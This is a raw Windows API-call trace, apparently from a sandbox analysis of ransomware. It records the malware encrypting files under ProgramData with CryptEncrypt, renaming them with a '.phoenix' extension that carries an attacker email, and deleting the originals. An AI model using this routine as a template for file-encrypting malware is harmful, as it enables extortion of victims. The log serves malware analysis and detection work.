	[0228.344] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0228.344] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x40, lpOverlapped=0x0) returned 1
	[0228.345] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0228.345] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.345] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0228.345] CryptDestroyKey (hKey=0x151680) returned 1
	[0228.345] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0228.358] CryptDestroyKey (hKey=0x151400) returned 1
	[0228.358] CloseHandle (hObject=0x2e4) returned 1
	[0228.358] CloseHandle (hObject=0x2c0) returned 1
	[0228.359] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 1
	[0228.360] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.361] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.369] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1565) returned 1
	[0228.369] CloseHandle (hObject=0x2c0) returned 1
	[0228.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0228.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.369] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.369] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0228.370] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.370] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x61d, lpOverlapped=0x0) returned 1
	[0228.413] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x620, dwBufLen=0x620 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x620) returned 1
	[0228.413] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x620, lpOverlapped=0x0) returned 1
	[0228.414] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0228.414] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.414] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0228.414] CryptDestroyKey (hKey=0x151140) returned 1
	[0228.415] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0228.415] CryptDestroyKey (hKey=0x151440) returned 1
	[0228.415] CloseHandle (hObject=0x2c0) returned 1
	[0228.415] CloseHandle (hObject=0x2e4) returned 1
	[0228.416] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 1
	[0228.417] SetEvent (hEvent=0x278) returned 1
	[0228.417] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.417] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0228.448] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=53411) returned 1
	[0228.448] CloseHandle (hObject=0x2c8) returned 1
	[0228.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico")) returned 0x20
	[0228.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.448] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.448] SetEvent (hEvent=0x278) returned 1
	[0228.448] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.448] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.450] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=83560) returned 1
	[0228.450] CloseHandle (hObject=0x2d8) returned 1
	[0228.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico")) returned 0x20
	[0228.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.451] SetEvent (hEvent=0x278) returned 1
	[0228.451] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.451] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0228.562] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=51881) returned 1
	[0228.562] CloseHandle (hObject=0x2e8) returned 1
	[0228.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico")) returned 0x20
	[0228.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.565] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.566] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.566] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.566] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=53411) returned 1
	[0228.566] CloseHandle (hObject=0x2c0) returned 1
	[0228.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico")) returned 0x20
	[0228.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.567] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.567] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=58312) returned 1
	[0228.567] CloseHandle (hObject=0x2c0) returned 1
	[0228.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico")) returned 0x20
	[0228.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.567] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.568] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.568] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=60344) returned 1
	[0228.568] CloseHandle (hObject=0x2c0) returned 1
	[0228.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico")) returned 0x20
	[0228.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.568] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.569] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=57333) returned 1
	[0228.569] CloseHandle (hObject=0x2c0) returned 1
	[0228.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico")) returned 0x20
	[0228.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.569] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.569] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.569] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.570] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=60533) returned 1
	[0228.570] CloseHandle (hObject=0x2c0) returned 1
	[0228.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico")) returned 0x20
	[0228.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.571] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.571] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=67156) returned 1
	[0228.571] CloseHandle (hObject=0x2c0) returned 1
	[0228.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico")) returned 0x20
	[0228.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.572] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.572] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.572] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=63682) returned 1
	[0228.572] CloseHandle (hObject=0x2c0) returned 1
	[0228.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico")) returned 0x20
